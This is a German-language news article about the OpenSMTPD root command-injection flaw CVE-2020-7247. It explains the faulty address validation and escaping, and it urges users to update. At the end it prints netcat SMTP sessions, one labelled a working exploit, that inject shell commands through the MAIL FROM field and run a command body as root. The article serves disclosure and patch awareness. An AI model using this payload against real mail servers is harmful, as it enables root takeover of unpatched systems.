Im entwickelten OpenBSD-Projekt Mailserver wurde wurde eine Schwachstelle (CVE-2020-7247) entdeckt, die es ermöglicht, Shell-Befehle auf dem Server mit Root-Rechten auszuführen. Die Sicherheitsanfälligkeit wurde bei einem erneuten Audit durch die Firma Qualys Security festgestellt (das vorherige Audit von OpenSMTPD im Jahr 2015 durchgeführt, während die neue Schwachstelle seit Mai 2018 besteht). Das Problem ist in der Version OpenSMTPD 6.6.2. Allen Benutzern wird dringend empfohlen, das Update zu installieren (für OpenBSD kann das Patch über syspatch installiert werden).
Es wurden zwei Angriffsvarianten vorgeschlagen. Die erste Variante funktioniert in der Standardkonfiguration von OpenSMTPD (Annahme von Anfragen nur von localhost) und ermöglicht es, das Problem lokal auszunutzen, wenn der Angreifer Zugriff auf das lokale Netzwerk-Interface (Loopback) des Servers hat (z.B. in Hosting-Systemen). Die zweite Variante tritt auf, wenn OpenSMTPD so konfiguriert ist, dass es externe Netzwerk-Anfragen akzeptiert (Mailserver, der externe Mails empfängt). Die Forscher haben einen Exploit-Prototyp entwickelt, der erfolgreich sowohl mit der OpenSMTPD-Version aus OpenBSD 6.6 als auch mit der portablen Version für andere Betriebssysteme (getestet in Debian Testing) funktioniert.
Das Problem wird durch einen Fehler in der Funktion smtp_mailaddr() verursacht, die zur Überprüfung der Korrektheit der Werte in den Feldern 'MAIL FROM' und 'RCPT TO' aufgerufen wird, die den Absender/Empfänger und die im Verlauf der Verbindung mit dem Mailserver übergebenen Angaben definieren. Um den Teil der E-Mail-Adresse vor dem '@'-Symbol zu überprüfen, wird in smtp_mailaddr() die Funktion valid_localpart() aufgerufen.
Diese Funktion erlaubt als gültige Zeichen (MAILADDR_ALLOWED) die Symbole '!#$%&’*/?^`{|}~+-=_', gemäß den Anforderungen von RFC 5322.
Das unmittelbare Escaping des Strings erfolgt in der Funktion mda_expand_token(), die nur die Zeichen '!#$%&’*?`{|}~' (MAILADDR_ESCAPE) ersetzt. Anschließend wird der in mda_expand_token() vorbereitete String beim Aufruf des Zustellagenten (MDA) mit dem Befehl 'execle("/bin/sh", "/bin/sh", "-c", mda_command,…' verwendet. Wenn die E-Mail über /bin/sh in mbox gespeichert wird, wird der Befehl '/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}' ausgeführt, wobei der Wert '%%{mbox.from}' die escapen Daten aus dem Parameter 'MAIL FROM' enthält.
Die Schwachstelle liegt darin, dass smtp_mailaddr() einen logischen Fehler aufweist, durch den die Funktion bei der Übergabe einer leeren Domain in der E-Mail einen erfolgreichen Prüfcode zurückgibt, selbst wenn der Teil der Adresse vor dem "@" ungültige Zeichen enthält. Bei der Vorbereitung des Strings durch die Funktion mda_expand_token() werden nicht alle möglichen Sonderzeichen der Shell maskiert, sondern nur die in einer E-Mail-Adresse zulässigen Sonderzeichen. Somit reicht es aus, in der lokalen Teil der E-Mail das Zeichen „;“ und ein Leerzeichen zu verwenden, die nicht im Set MAILADDR_ESCAPE enthalten sind und nicht maskiert werden. Zum Beispiel:
$ nc 127.0.0.1 25
HELO professor.falken
MAIL FROM:
RCPT TO:
DATA
.
QUIT
Nach dieser Sitzung wird OpenSMTPD bei der Zustellung an mbox den Befehl über die Shell ausführen.
/usr/libexec/mail.local -f ;sleep 66; root
Das bedeutet, dass die Angriffsmöglichkeiten dadurch eingeschränkt sind, dass der lokale Teil der Adresse 64 Zeichen nicht überschreiten kann und die Sonderzeichen ‚$‘ und ‚|‘ beim Escaping durch «:» ersetzt werden. Um diese Einschränkung zu umgehen, wird ausgenutzt, dass der Inhalt der E-Mail nach dem Start von /usr/libexec/mail.local über den Eingabestrom übermittelt wird, d.h. durch Manipulation der Adresse kann nur der Shell-Interpreter sh gestartet werden und der E-Mail-Inhalt als Befehlssatz verwendet werden. Da am Anfang der E-Mail die SMTP-Headers angegeben werden, wird empfohlen, die read-Anweisung in einer Schleife zu verwenden, um diese zu überspringen. Ein funktionierender Exploit sieht etwa so aus:
$ nc 192.168.56.143 25
HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
…
#d
for i in W O P R; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT
Quelle: opennet.ru
